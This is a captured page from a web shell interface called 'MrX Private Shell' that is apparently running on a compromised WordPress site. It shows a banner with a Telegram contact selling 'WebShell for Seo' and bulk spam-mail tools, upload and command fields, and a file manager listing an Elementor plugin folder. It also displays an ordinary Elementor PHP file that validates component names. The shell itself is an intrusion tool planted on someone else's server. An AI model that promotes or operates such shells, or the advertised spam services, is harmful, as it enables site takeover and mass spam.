__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Elementor\Modules\Components;

use Elementor\Core\Utils\Api\Parse_Result;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Components_Parser {
	const MIN_NAME_LENGTH = 2;
	const MAX_NAME_LENGTH = 50;

	public static function make() {
		return new static();
	}

	public function parse_name( $name, $existing_components_names ): Parse_Result {
		$result = Parse_Result::make();

		$sanitized = trim( sanitize_text_field( $name ) );

		if ( strlen( $sanitized ) < self::MIN_NAME_LENGTH ) {
			$result->errors()->add( 'name', 'component_name_too_short_min_' . self::MIN_NAME_LENGTH );
		}

		if ( strlen( $sanitized ) > self::MAX_NAME_LENGTH ) {
			$result->errors()->add( 'name', 'component_name_too_long_max_' . self::MAX_NAME_LENGTH );
		}

		if ( in_array( $sanitized, $existing_components_names, true ) ) {
			$result->errors()->add( 'name', 'duplicated_component_name' );
		}

		return $result->wrap( $sanitized );
	}
}

Filemanager

Name Type Size Permission Actions
documents Folder 0750
styles Folder 0750
widgets Folder 0750
components-parser.php File 969 B 0640
components-repository.php File 1.78 KB 0640
components-rest-api.php File 4.46 KB 0640
components.php File 494 B 0640
module.php File 1.91 KB 0640
Filemanager